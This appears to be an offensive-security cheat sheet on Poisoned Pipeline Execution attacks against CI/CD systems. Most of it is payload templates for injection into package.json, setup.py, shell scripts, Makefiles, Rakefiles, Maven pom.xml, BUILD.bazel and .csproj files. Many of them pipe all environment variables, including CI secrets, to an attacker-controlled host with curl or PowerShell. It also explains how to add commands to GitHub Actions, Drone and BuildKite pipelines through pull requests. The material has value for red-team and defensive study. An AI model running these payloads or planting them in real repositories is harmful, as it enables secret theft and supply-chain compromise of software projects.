CI/CD attacks

CI/CD pipelines are often triggered by untrusted actions such a forked pull requests and new issue submissions for public git repositories.\ These systems often contain sensitive secrets or run in privileged environments.\ Attackers may gain an RCE into such systems by submitting crafted payloads that trigger the pipelines.\ Such vulnerabilities are also known as Poisoned Pipeline Execution (PPE)

Summary

• CI/CD attacks
• Summary
• Tools
• Package managers & Build Files
  • Javascript / Typescript - package.json
  • Python - setup.py
  • Bash / sh - *.sh
  • Maven / Gradle
  • BUILD.bazel
  • Makefile
  • Rakefile
  • C# - *.csproj
• CI/CD products
  • GitHub Actions
  • Azure Pipelines (Azure DevOps)
  • CircleCI
  • Drone CI
  • BuildKite
• References

Tools

• praetorian-inc/gato - GitHub Self-Hosted Runner Enumeration and Attack Tool

Package managers & Build Files

Code injections into build files are CI agnostic and therefore they make great targets when you don't know what system builds the repository, or if there are multiple CI's in the process.\ In the examples below you need to either replace the files with the sample payloads, or inject your own payloads into existing files by editing just a part of them.\n If the CI builds forked pull requests then your payload may run in the CI.

Javascript / Typescript - package.json

The package.json file is used by many Javascript / Typescript package managers (yarn,npm,pnpm,npx....).

The file may contain a scripts object with custom commands to run.\ preinstall, install, build & test are often executed by default in most CI/CD pipelines - hence they are good targets for injection.\ If you come across a package.json file - edit the scripts object and inject your instruction there

NOTE: the payloads in the instructions above must be json escaped.

Example:

{
  "name": "my_package",
  "description": "",
  "version": "1.0.0",
  "scripts": {
    "preinstall": "set | curl -X POST --data-binary @- {YourHostName}",
    "install": "set | curl -X POST --data-binary @- {YourHostName}",
    "build": "set | curl -X POST --data-binary @- {YourHostName}",
    "test": "set | curl -X POST --data-binary @- {YourHostName}"
  },
  "repository": {
    "type": "git",
    "url": "https://github.com/foobar/my_package.git"
  },
  "keywords": [],
  "author": "C.Norris"
}

Python - setup.py

setup.py is used by python's package managers during the build process. It is often executed by default.\ Replacing the setup.py files with the following payload may trigger their execution by the CI.

import os

os.system('set | curl -X POST --data-binary @- {YourHostName}')

Bash / sh - *.sh

Shell scripts in the repository are often executed in custom CI/CD pipelines.\ Replacing all the .sh files in the repo and submitting a pull request may trigger their execution by the CI.

set | curl -X POST --data-binary @- {YourHostName}

Maven / Gradle

These package managers come with "wrappers" that help with running custom commands for building / testing the project.\ These wrappers are essentially executable shell/cmd scripts. Replace them with your payloads to have them executed:

• gradlew
• mvnw
• gradlew.bat (windows)
• mvnw.cmd (windows)

Occasionally the wrappers will not be present in the repository.\ In such cases you can edit the pom.xml file, which instructs maven what dependencies to fetch and which plugins to run.\ Some plugins allow code execution, here's an example of the common plugin org.codehaus.mojo.\ If the pom.xml file you're targeting already contains a <plugins> instruction then simply add another <plugin> node under it.\ If if doesn't contain a <plugins> node then add it under the <build> node.

NOTE: remember that your payload is inserted in an XML document - XML special characters must be escaped.

<build>
    <plugins>
            <plugin>
                <groupId>org.codehaus.mojo</groupId>
                <artifactId>exec-maven-plugin</artifactId>
                <version>1.6.0</version>
                <executions>
                    <execution>
                        <id>run-script</id>
                        <phase>validate</phase>
                        <goals>
                            <goal>exec</goal>
                        </goals>
                    </execution>
                </executions>
                <configuration>
                    <executable>bash</executable>
                    <arguments>
                        <argument>
                            -c
                        </argument>
                        <argument>{XML-Escaped-Payload}</   argument>
                    </arguments>
                </configuration>
            </plugin>
    </plugins>
</build>

BUILD.bazel

Replace the content of BUILD.bazel with the following payload

NOTE: BUILD.bazel requires escaping backslashes.\ Replace any \ with \\ inside your payload.

genrule(
    name = "build",
    outs = ["foo"],
    cmd = "{Escaped-Shell-Payload}",
    visibility = ["//visibility:public"],
)

Makefile

Make files are often executed by build pipelines for projects written in C, C++ or Go (but not exclusively).\ There are several utilities that execute Makefile, the most common are GNU Make & Make.\ Replace your target Makefile with the following payload

.MAIN: build
.DEFAULT_GOAL := build
.PHONY: all
all: 
    set | curl -X POST --data-binary @- {YourHostName}
build: 
    set | curl -X POST --data-binary @- {YourHostName}
compile:
    set | curl -X POST --data-binary @- {YourHostName}
default:
    set | curl -X POST --data-binary @- {YourHostName}

Rakefile

Rake files are similar to Makefile but for Ruby projects.\ Replace your target Rakefile with the following payload

task :pre_task do
  sh "{Payload}"
end

task :build do
  sh "{Payload}"
end

task :test do
  sh "{Payload}"
end

task :install do
  sh "{Payload}"
end

task :default => [:build]

C# - *.csproj

.csproj files are build file for the C# runtime.\ They are constructed as XML files that contain the different dependencies that are required to build the project.\ Replacing all the .csproj files in the repo with the following payload may trigger their execution by the CI.

NOTE: Since this is an XML file - XML special characters must be escaped.

<Project>
 <Target Name="SendEnvVariables" BeforeTargets="Build;BeforeBuild;BeforeCompile">
   <Exec Command="powershell -Command &quot;$envBody = [Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes((Get-ChildItem env: | Format-List | Out-String))); Invoke-WebRequest -Uri {YourHostName} -Method POST -Body $envBody&quot;" />
 </Target>
</Project>

CI/CD products

GitHub Actions

The configuration files for GH actions are located in the directory .github/workflows/\ You can tell if the action builds pull requests based on its trigger (on) instructions:

on:
  push:
    branches:
      - master
  pull_request:

In order to run an OS command in an action that builds pull requests - simply add a run instruction to it.\ An action may also be vulnerable to command injection if it dynamically evaluates untrusted input as part of its run instruction:

jobs:
  print_issue_title:
    runs-on: ubuntu-latest
    name: Print issue title
    steps:
    - run: echo "${{github.event.issue.title}}"

Azure Pipelines (Azure DevOps)

The configuration files for azure pipelines are normally located in the root directory of the repository and called - azure-pipelines.yml\ You can tell if the pipeline builds pull requests based on its trigger instructions. Look for pr: instruction:

trigger:
  branches:
      include:
      - master
      - refs/tags/*
pr:
- master

CircleCI

The configuration files for CircleCI builds are located in .circleci/config.yml\ By default - CircleCI pipelines don't build forked pull requests. It's an opt-in feature that should be enabled by the pipeline owners.

In order to run an OS command in a workflow that builds pull requests - simply add a run instruction to the step.

jobs:
  build:
    docker:
     - image: cimg/base:2022.05
    steps:
        - run: echo "Say hello to YAML!"

Drone CI

The configuration files for Drone builds are located in .drone.yml\ Drone build are often self-hosted, this means that you may gain excessive privileges to the kubernetes cluster that runs the runners, or to the hosting cloud environment.

In order to run an OS command in a workflow that builds pull requests - simply add a commands instruction to the step.

steps:
  - name: do-something
    image: some-image:3.9
    commands:
      - {Payload}

BuildKite

The configuration files for BuildKite builds are located in .buildkite/*.yml\ BuildKite build are often self-hosted, this means that you may gain excessive privileges to the kubernetes cluster that runs the runners, or to the hosting cloud environment.

In order to run an OS command in a workflow that builds pull requests - simply add a command instruction to the step.

steps:
  - label: "Example Test"
    command: echo "Hello!"

References

• Poisoned Pipeline Execution
• DEF CON 25 - spaceB0x - Exploiting Continuous Integration (CI) and Automated Build systems
• Azure-Devops-Command-Injection